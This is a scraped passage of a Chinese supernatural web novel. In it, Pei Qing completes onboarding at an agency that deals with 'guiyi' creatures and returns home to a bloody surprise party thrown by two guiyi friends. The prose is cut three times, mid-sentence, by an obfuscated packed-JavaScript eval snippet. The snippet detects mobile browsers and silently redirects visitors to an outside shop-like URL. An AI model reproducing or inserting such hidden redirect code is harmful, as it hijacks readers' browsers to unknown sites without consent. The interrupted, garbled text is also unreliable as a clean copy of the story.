安蓝眼睛倏地一亮,带着雀跃的笑意,语气轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536157|203815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快明朗:“嗯,好的,明天见!” 送走安蓝,裴箐晃荡着倒在沙发上。 “您,真的要进异管局?”惴惴不安的浊血从沙发底下探出身体。 裴箐懒懒趴在沙发上,脸埋在臂弯里,声音闷闷沉沉,含糊不清地开口:“怕我把你抓去冲业绩?” 浊血罕见的沉默了,裴箐从臂弯里抬起头。 浊血从地板跳到沙发扶手上:“我……他们抓我的时、时候,有很多枪,还有专业、的检测工具。” 经过几天的相处,浊血胆子大了很多,因为它发现裴箐并不会虐待它,只会有事没事打趣两句,浊血觉得他是个好人。 “担心我和你们的关系被发现?”裴箐低笑一声,眉眼间漫出几分漫不经心的轻傲,“有时间你真该找诡异打听打听我。” 浊血不明所以。 “算了,跟你说不明白什么。”裴箐嘀咕着从沙发上起身,他打算从现在起调整作息,但愿今天能在十二点前入睡。 裴箐一路走到卧室,不忘和宁旋二人发信息。 他和宁旋经常吵架,打架也会有,吵完打完就结束了,两人照样是好朋友。 他们一人两诡异有个名为“天下第一”的群,几个小时前这个群被宁旋改名为“裴箐何时能上班”。 裴箐:我明天去异管局 下一秒,几条信息鱼贯而出。 KYB:[庆祝][庆祝][庆祝] KYB:阿箐你真的同意了! NX:就!该!听!我!的!吧! 裴箐没理他们的信息,把手机往床头柜一扔,打算洗漱完就睡觉。 为了保证睡眠不受打扰,裴箐还把手机设置成了飞行模式。 事实证明,完全没用。裴箐睁着眼直勾勾瞪着天花板瞪了一整晚,毫无睡意,就这样来到了约定时间的一小时前。 裴箐坐在餐椅上,两手支着下颚,昏昏沉沉闭上眼。 他一般八点睡觉,以往这个时候,都能进入深度睡眠了。 手机定着从九点四十到十点每个两分钟一个的闹钟,直到第六个闹钟响起,裴箐才挣扎着从椅子上爬起来。 裴箐后悔了,他在想能不能临时告诉安蓝他不去异管局了。 可裴箐是个守约的人,承诺了就不会放人鸽子,他晃着身体走进电梯,第一下没看清按了地下一层的车库,直到逼近一楼,才反应过来按错了楼层。 在一楼见到安蓝时,裴箐眼底还蒙着一层浓重的倦意,整个人蔫蔫的,浑身都透着疲惫。 安蓝一看见他,就察觉不对劲。 青年眼下青黑浓重,眼底蒙着一层散不开的倦意,脸色也泛着淡白,一看就是严重缺觉,困得快要撑不住。 一头长发随意扎成一束,松松散散的,甚至几缕碎发凌乱垂在颈边。 昨天晚上安蓝就担心裴箐会不会作息调整不好,特意往后调了两个小时的碰面时间。 安蓝担忧道:“裴哥,你可以吗?要不休息一会儿再去?” 裴箐困得脑袋发沉,抬手的动作带着几分虚晃,指尖无力地轻挥了下,嗓音发哑:“不用,现在走。” 12. 第十二章 在安蓝的担忧下,裴箐还是清醒着抵达了异管局。 黑色的公务轿车碾过路口的减速带,发出一声轻微的闷响,缓缓驶入高墙林立的大院。 门口的安保人员核对完安蓝递出的证件后,厚重的电动栏杆才缓缓抬起。 两侧院墙爬着暗沉的绿植,空气都透着一股肃穆的气息。 安蓝停好车,没有第一时间开车门,而是侧过头说:“裴哥,今天手续办完,就算正式入职了。” 她迟疑了一下:“就是……如果有什么人讲闲话,你千万别理他们!” 裴箐靠在椅背上,指尖轻轻搭着膝盖,姿态松弛: “讲我的闲话?因为佘队长?” 安蓝的嘴张了张,迟疑一瞬才说:“不全是,其实R神特意去找你的事我们都知道了,但是大队长并没说你有什么特殊能力,有些人可能对你……” “看不起?”裴箐笑了笑,“可以理解,我当然不会在意。” 安蓝佩服裴箐无所谓他人目光的坦然,事实上对于裴箐来说整个异管局都是年轻人,他怎么会和在他认知当中的“晚辈”计较。 安蓝解下安全带率先下车,快步绕到副驾,伸手替他拉开车门:“正式上班应该会通知时间,今天只要去人事科签几个名字录入一下信息就好。” 裴箐弯腰下车,一身简单的休闲装在庄重肃穆的异管局大楼前显得格外突兀。 主楼正门是厚重的实木对开门,推开时带着轻微的滞涩感。 一进门,凉意扑面而来,地面光可鉴人,两侧墙面刷着冷调的漆,没有多余装饰,只在走廊拐角处贴着部门指引牌。 一路行至走廊中段,安蓝在一扇标有人事科的门前停下,抬手屈指,轻轻敲了三下门。 屋内传来一声清亮的女声:“请进。” 安蓝推开门,侧身抬手示意裴箐先走,低声说:“就是这里了。”说完,和屋里的人打了声招呼,便带上门离开。 走进办公室,屋内开着冷气,桌面整齐摆放着制式文件。 负责办理入职的干事抬眼,看清来人,眼底闪过一丝了然。 这就是安蓝口中的房东小哥。 她拿出一叠厚厚的文件,平铺在桌上,指尖点着纸面:“裴箐先生是吧?请坐。我叫纪舒白。” 裴箐拉开椅子在纪舒白对面坐下。 纪舒白从里面抽出一张表格递给裴箐:“先填写入职申请表,基本信息、紧急联系人请如实填写。” 裴箐接过表格没有动笔:“我想问个问题。” 纪舒白颔首。 裴箐今天凌晨躺在床上睡不着觉,安蓝掷地有声的“两万”二字不停在脑海回旋。 裴箐的两套房子不过一百平出头,去掉公摊才八十多平,不算大,价格也不算高,一万出头的平方价。 起初安蓝租下房子时,裴箐还以为是她家里帮忙出的钱,毕竟对于一个刚毕业的年轻人来说,两千的房租不算便宜,没想到异管局工资这么高,对两万来说,十分之一的房租也不算什么了。 虽然两百多年来因为游戏的降临,地球人口骤减,但人口再怎么少,工资也不会高到随便几万的程度。 裴箐太心动了。 “咱们这儿绩效怎么算?”裴箐问。 昨天忘了问安蓝,早上见面又不好意思再问,不然显得他多爱财似的。 纪舒白显然没想到会有人在意这种问题,毕竟加入异管局最重要的应该是“如何为社会做贡献”才对。 专业素质优良的纪舒白没有露出半点惊讶:“关于绩效,处理一只F级诡异一万,E级诡异五万,D级诡异五十万,C级诡异一百万。” 裴箐倏然抬眸,眼中漫开一层错愕,双目微微睁大:“那AB级和S级……” “B级五百万,A级一千万,S级……就无法用金钱衡量了。”纪舒白只认为裴箐好奇高等级诡异的身价,贴心地为他解释,“但目前安城没有出现过B级以上的诡异。” 裴箐点头,他在安城待的这么些年,的确没见到B级以上的诡异出现,当初选择这座城市也有一部分安全的考量。 也许说裴箐考虑安全问题这件事很扯淡,但买房时他的确考虑了自身安全,不是人身安全,裴箐担心老熟人太多影响他的日常生活。 似乎没什么疑惑的问题,裴箐半真半假地填下表格的问题。 纪舒白又递来两份文件:“然后是最高等级保密协议,关于诡异事件的一切见闻、任务细节,严禁向外界透露。” “还有岗位责任书,你入职后归外勤行动组,小组组长是严魏。” 他被分到了安蓝的小组? 裴箐指尖捏着笔,低头认真翻看保密协议:“这里的保密年限是终身?” “是,终身保密。”纪舒白点头。 裴箐没有多言,点头应下,提笔落笔,字迹端正沉稳。 裴箐曾经学过几年书法,写的字还算不错,可惜后来多年不动笔,再刻在骨子里的记忆都会忘记,他的字也退化了。 裴箐将签了字的文件递给纪舒白,却发现她的视线落在自己的头发上。 裴箐微微向后仰:“不会要剪头吧?” 纪舒白摆摆手:“不用剪,我们没有短发的要求,只要不披头散发就行。” 裴箐松了口气,他这头长发留了不少年份,要是异管局强制短发,他怕是再也进不了这里的大门。 之所以裴箐会有这样的担忧,是因为他接触的所有异管局的人都是短发,最长不过耳根,无论性别,无论入职时间长短。 裴箐怀疑异管局里关于头发有什么不为人知的故事。 事实上他多虑了,异管局的人剪短发不过为了打架方便。 接过文件,纪舒白将所有文件收纳整齐,起身对裴箐说:“我带你去录入指纹和瞳孔虹膜。” 裴箐在心里默默叹气,他有点累了,为什么异管局流程这么长,他以前上班也没这么多步骤啊。 裴箐想了想,大概是他没在政府机关工作过的问题。 纪舒白带着他七拐八拐,不知走到了哪里,推开一扇和他被抓去做检测时那间房间几乎一样的门。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536158|203815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 门上挂着“生物信息采集室”的牌子。 纪舒白伸出右手并指侧身一指,示意他先进去。 “裴先生?!” 里面的人发出惊讶的声音。 竟然是沈责。 裴箐打量着精神饱满的沈责,再次怀疑自己这个决定的正确性。 难不成异管局其实是个让员工身兼多职又不愿意招人的黑心企业? 裴箐强颜欢笑:“好久不见。” 纪舒白把资料袋放在操作台,简单交代:“沈责,人交给你,录入全套生物信息。” 沈责应了声,冲纪舒白摆了下手,随即对裴箐说:“这边来。” 先录入十指指纹,他指了指感应面板:“机器有些年份了,要按得用力一点。” 裴箐依言照做,机器发出几声轻响。 接着轮到虹膜与巩膜采集,又来到另一台机器面前,沈责示意裴箐盯着镜头别眨眼。 整个流程很快,几分钟就结束了。 沈责在平板上核对完毕,推了推眼镜:“权限全部同步好了,以后局里门禁、内部系统都能刷你脸了。” 裴箐本就困倦,又被异管局的一套流程弄得头晕,此时也只是没什么表情地点头。 好在裴箐长相温和,就算面无表情也不会让人觉得他在冷脸。 纪舒白把裴箐交给沈责后就离开了,裴箐觉得自己像个流水线上的快递件。 沈责低头在平板上确认完所有录入信息,指尖在屏幕上快速点了几下,抬头时神情严肃了些:“对了,人事部那边提前跟我打过招呼,后天就可以正式入职上岗,证件会在那天给你。我们这行情况特殊,事情说来就来,基本没有什么适应缓冲期。” 他一边说着,一边随手从操作台里抽出一叠装订好的厚册子,推到裴箐面前。 “不过正式出任务之前还有半个月的准备时间。”沈责说,“这里面整理了全国所有出现过的诡异副本,每个副本的降落地点、触发条件、内部环境,还有曾经出现过的诡异等级、类型,全都要记熟。” “另外还有一叠,是我们局里内部的诡异通缉令。” 他顿了顿,语气稍微严肃下来:“有些诡异在抓捕、清缴过程中没有被彻底消灭,趁机逃窜隐匿,我们就会发布通缉令。所有在逃诡异的样貌、能力、危险等级,也必须全部背下来。” “半个月之后,会有一次内部测验。副本信息、通缉诡异、等级划分、危险应对要点,全都要考。测验通过,才算真正能跟着外勤组行动出任务;没通过,就继续留在这里恶补,什么时候过了什么时候上岗。” 说完,他又恢复了一点轻松的样子:“别紧张,测验还是很容易的。” 裴箐听完这番长篇大论,也不困了,整个人瞬间裂开。 毕业这么多年,早已经远离了课本和死记硬背的日子,他怎么也没料到,本以为是普通入职工作,到头来第一件事,竟然是要应付一场测验。 裴箐嘴角抽了抽,沉默片刻,才开口,语气带着几分荒诞:“这里上班还要考试?” 13.第十三章 “安蓝没和你说吗?”沈责不解地问。 “……没。” “没事的,可能就是因为太简单了,她才没和你说。”沈责拍拍裴箐的肩,安慰道,“以后就是同事了,有什么问题不懂可以问我。” 裴箐勉强扯了扯嘴角应了一声。 “对了,跟你说下上班的时间。”沈责顺势交代道,“我们这儿没有固定上下班时间,属于随叫随到,局里会给你发专用联络器,只要收到通知,不管在哪都得立刻赶过来。不过接下来这半个月备考期简单点,每天早上九点之前到这儿报到就行。后天我在大厅等你,把出入通行证和联络器一起给你。” 说完,沈责看了眼时间:“时间不早了,我送你回去吧?” 饶是早有心理准备,裴箐在听到“九点之前”时还是不免感到痛苦,他在心底默默叹了口气,只能在心里无力祈祷,但愿吧,但愿到时候自己真能清醒着踏进这栋楼。 没想到异管局的人都这么热情,裴箐迟疑了一下:“方便的话,送我去市中心那家超市行吗?” 家里的速食食品快没了,他得去补点货。 “小事一桩。”沈责爽快应下。 两人并肩往外走,穿过长长的走廊,空气微凉,在踏进大厅的瞬间,裴箐脚步微顿。 两道极其熟悉的气息,毫无征兆地一闪而过。 气息很淡,转瞬即逝,那两股阴冷又带着熟悉感的气息,让他心底瞬间升起一股强烈的不祥预感。 裴箐不动声色地压下心头的异样,跟着沈责一路走出异管局,坐上了车。 车子平稳驶入市区,不多时便停在规模宏大的商超门口。 裴箐拉开车门,侧身踏出车内,抬手对着车内的沈责挥了下:“多谢了。” “客气啥,都是同事。”沈责摆摆手,冲他笑了笑,“那后天见,别迟到。” “后天见。” 裴箐应声,转身走进了人流熙攘的超市。 这里是安城规模最大的商超,建成不过几年光景。 网上都说,当初市政府特意挑了块风水极好的地段修建,开业至今,从未传出过任何诡异相关的怪事,算是市里难得让人安心的地方。 裴箐没多打量周遭,径直朝着速食区走去。 刚走到货架旁,就听见不远处两个穿着红色马甲的工作人员凑在一起低声闲聊。 “哎,你刚刚有没有看到一男一女两个人?长得特别好看,个子差不多高。” 另一个人眼睛一亮,连忙接话:“你也看见了?长得跟明星似的,气质也好。两人是不是穿着衬衫西裤,看着像兄妹还是姐弟。” “可不是嘛,好多顾客都偷偷看他俩,刚才买了一大堆东西,真没见过长这么好看的。” …… 裴箐推推车的手顿了下。 几乎是瞬间,他就联想到方才在异管局里,那一闪而过的两股熟悉气息。 不会……是宁旋和阚元白吧。 他们俩又要干什么? 裴箐挑拣了几样速冻水饺、饭团、即食料理,快步走到收银台。 此时差不多是正午时分。 拎着满满一大袋东西,裴箐走出超市。心里的不安迟迟散不去,他犹豫片刻,还是点开软件叫了辆拼车。 上一次打车不小心点上了专车,付完钱心疼得不行,早知道就该选拼车,这次可不能这么大意了。 不多时,拼车抵达商场附近。 车上除了他,还有另外两名乘客。 司机师傅是个健谈的中年男人,一路都在唠嗑,这会儿看了眼导航地址,随口搭话:“小伙子,你住镜湖小区啊?那地方是不是总闹鬼啊?我老听别人说那边邪乎得很。” 后座另一名乘客立刻附和:“镜湖小区我知道!网上传过好多次灵异事件,什么半夜哭声、楼道影子,吓人得很。” 还有个乘客缩了缩脖子,小声道:“嘶,这些神神叨叨的东西最恐怖了。” 裴箐靠在窗边,指尖轻轻摩挲着购物袋的提手,闻言加入聊天:“有吗?我住这边,其实还挺不错的。” “鬼那都是人瞎编出来吓唬自己的,虚头巴脑的东西,有啥好怕的。真要论吓人,还得是实打实的诡异,那些灵异传闻跟它们比,连提鞋都不配!”司机师傅说到激动处,不仅拔高音量,甚至拍了两下方向盘。 裴箐默默往窗户一边靠了靠,差点被司机师傅的动作吓一跳。 司机师傅又骤然压低了声音:哎,你们知道不?就城西那个云栖小区,按理说从来没有副本降临过,不该有诡异出现,最近有人说,那边出现诡异了。” 裴箐右眼皮重重跳了一下。 云栖小区。 不是向小西家那边吗。 后座的乘客瞬间炸了,一脸难以置信:“不能吧?不是说只有副本降临的地方才会有诡异吗?没开副本的地方怎么可能出事?真要是这样,我们以后还怎么活啊!” 司机无所谓地摆了摆手:“嗨,我也是道听途说,不保准。就听附近有人撞见了,也可能是看错了、传岔了,谁知道真假。” 旁人只当是传闻,听听也就算了,可裴箐心里清楚得很,这件事千真万确。 他眉头微不可察地蹙起,指尖无意识地收紧。 他当初从外面进去时,外墙干干净净,没有一丝血迹,在外面也不太能感知到浊血的气息,按理说根本不可能被人发现。 他的听力很好,从他和宁旋踏进那栋楼起,到他们离开,并没有人进入,所以更不可能发现了。 所以到底是猜测还是真的有人看到了? 无数念头在脑海里飞快翻涌,还没等他理出个头绪,车子缓缓减速,停在了镜湖小区门口。 裴箐压下心底疑虑,对着车内几人告别。 刚拐进自己住的那栋单元楼,熟悉到不能再熟悉的气息便清晰地钻入感知。 裴箐脚步一顿,眉梢狠狠跳了跳。 果然是阚元白和宁旋这两个家伙。 一天天游手好闲没正经事,闲得没事干净折腾他。 他大概忘了,自己今天刚办完入职,连正式上班都还没开始。 走到自家门前,裴箐心底升起警惕,怀疑这两人又在他屋子里干什么见不得光的事。 裴箐深吸一口气,做好心理建设,抬手拧开了门锁。 门刚向外敞开,两声礼炮骤然“砰”地炸开。 两道轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537781|203815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快的声音同时响起: “Surprise!” “恭喜上班!” 裴箐抬眼望去,屋内的景象让他两眼发黑。 整个屋子被浓稠暗红的鲜血糊满墙面与地面,猩红浸透了所有角落,将屋内的光线衬得暗沉压抑,空气里弥漫着浓重的腥甜味道。 抬脚迈入屋内的刹那,地上墙面的鲜血骤然活了过来,如同潮水般翻涌涌动,卷起层层血色波浪。 浊血跟着两人欢快地喊:“恭喜~~~” 裴箐:“…………” 裴箐:“你们在干什么。” 阚元白接过裴箐手中的袋子,帮他收拾东西去了,宁旋理所当然地说:“庆祝你上班啊,怎么样,惊不惊喜?” 裴箐无力吐槽,他环顾四周,强忍着没吐槽这两个家伙吊诡的审美:“惊喜没有,惊吓倒是有,你强迫浊血干的?” “在你心里我就这样?”宁旋翻了个白眼,“它自愿的。” 裴箐踩着泥浆似的血往里面走:“我真谢谢你们,除了这个,没别的准备了?” 该说不说,裴箐心里还有一丝期待,大概和诡异待久了,他也变奇怪了。 “当然。”宁旋一侧身,露出身后真正的主角,“我们攒了好久的钱才买的。” 宁旋身后的地方放着一个半人高的大箱子,上面还这一块黑布,色调太暗,裴箐一时没看清东西在哪里。 裴箐吐槽:“您二位不会抢银行去了吧。” 宁旋和阚元白两只诡异不会上班,自然不会赚钱,从跟着裴箐跑到人类世界起就用他的钱,他们不用睡觉也不用吃饭,无非买买电子产品网购点没用小垃圾。 “想什么呢,都是干净正经的钱,我们没对普通人动手。”宁旋拍拍箱子,“你打开看看。” 裴箐狐疑地看看宁旋,瞧瞧不知何时收拾完东西笑眯眯出现在他身后侧的阚元白,小心翼翼地扯开黑布。 裴箐实在害怕他们会给他什么惊喜。 箱子里整整齐齐堆着大大小小的礼盒,琳琅满目。 裴箐垂眸,伸手一个个往外拿。 第一件盒子拆开,是个体积不小的按摩仪。 阚元白轻声细语地说:“上班很辛苦,我看手机上好多它的广告,应该挺有用的。” 裴箐默不作声地放到一旁,继续往下拿。 第二样东西拿出来,包装简单粗暴,一个巴掌大小的类似药瓶的玩意,裴箐晃了晃,里面的东西沙沙作响。 裴箐问:“这是什么?” 宁旋表情认真:“安眠药啊。你们人类是不是睡不着就吃这个?” 裴箐捏着药瓶的手一顿,倍感无力:“人类这个吃多了是会死的,我虽然不会,但正常人不能这么用。” 两人对视一眼,明显没太把生死当回事。 裴箐无奈叹气,继续一件件往外取。 有游戏卡带、遮光眼罩、便携靠枕……甚至还有好几盒速冻料理。 裴箐拆包装的速度慢了下来,这样贴心正常的礼物,他实在没想到,他想他可能有点……感动。 直到他伸手拿起箱子最底下,最后一样东西,动作猛地停住。 这是……